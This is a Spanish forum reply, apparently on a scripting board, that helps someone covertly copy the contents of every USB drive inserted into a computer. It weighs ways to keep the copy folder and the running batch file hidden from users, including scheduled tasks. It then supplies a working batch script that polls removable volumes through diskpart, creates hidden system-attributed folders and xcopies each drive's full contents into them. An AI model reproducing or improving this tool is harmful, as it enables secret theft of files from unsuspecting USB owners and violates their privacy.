Voy a creer que las cosas son como las cuentas, ¿por qué no?
Hay algunos problemillas que se me ocurren para que tu plan tenga éxito:
1. Aunque la carpeta sea oculta hay formas de ver las carpetas ocultas, a no ser que los usuarios normales tengan bastante limitadas las posibilidades de actuación. Y aún así...
2. De momento no se me ocurre como hacer que el bat "latente" no sea visible, es decir, que se ejecute sin que el usuario se entere de que se está ejecutando. Pero no descarto que pueda hacerse, o que haya otras formas de ejecución (como las "tareas programadas") que puedan conseguirlo.
3. Lo que te decía de las carpetas ya existentes tiene que ver, precisamente, con que si se copian todas las usb's y se vuelve a "montar" una que ya ha sido copiada hay que decidir que se hace. Además si quieres que los intentos se hagan cada minuto es muy probable que una usb ya copiada siga montada, y hay que decidir que se hace en ese caso.
4. Respecto a libros sobre programación en bat la verdad es que no puedo recomendarte ninguno. Yo creo que todos hemos ido aprendiendo a base de practicar y los fundamentos son sencillos y están en cualquier tutorial, aunque luego no sea tan sencillo hacer las cosas porque esta modalidad de programación tiene muchas "trampas", rigor sintáctico casi al nivel de "manías" y peculiaridades que dificultan algunas cosas pero que otros antes que nosotros han sabido esquivar. Si te puedo poner aquí algunas páginas que me han servido:
http://www.commandline.co.uk/
http://www.taringa.net/posts/linux/9566772/Scripts-BATCHs.html
http://foro.elhacker.net/scripting/programacion_batch_avanzada_nuevo-t132924.0.html
Por último te voy a poner un primer intento de hacer algo de lo que pides para poder empezar a trabajar sobre algo concreto. Lo copias en un archivo, lo guardas con extensión bat y lo ejecutas como administrador. Para tener cierta capacidad de maniobra utiliza dos variables internas una para el tiempo de espera en segundos antes de revisar si hay una usb montada (tmpespera) y otra para la carpeta destino (carpdest). Te sugiero que hagas pruebas en cualquier ordenador para ver como funciona y qué cosas habría que cambiar/retocar/mejorar:
@echo off
Setlocal EnableDelayedExpansion
set tmpespera=15
set carpdest=D:\Nueva carpeta
> dskprttmp.txt echo list volume
:bucle
for /f "skip=8 tokens=3,4,6,*" %%a in ('diskpart /s dskprttmp.txt') do if %%c==Extra¡ble (
if not exist "%carpdest%\%%b\" md "%carpdest%\%%b\"&attrib +h +s /d /s "%carpdest%\%%b"
xcopy "%%a:\*.*" "%carpdest%\%%b\" /D /S /Y /I /H
)
Ping -n %tmpespera% localhost >nul
goto :bucle
Si tienes algún problema o necesitas alguna aclaración dímelo.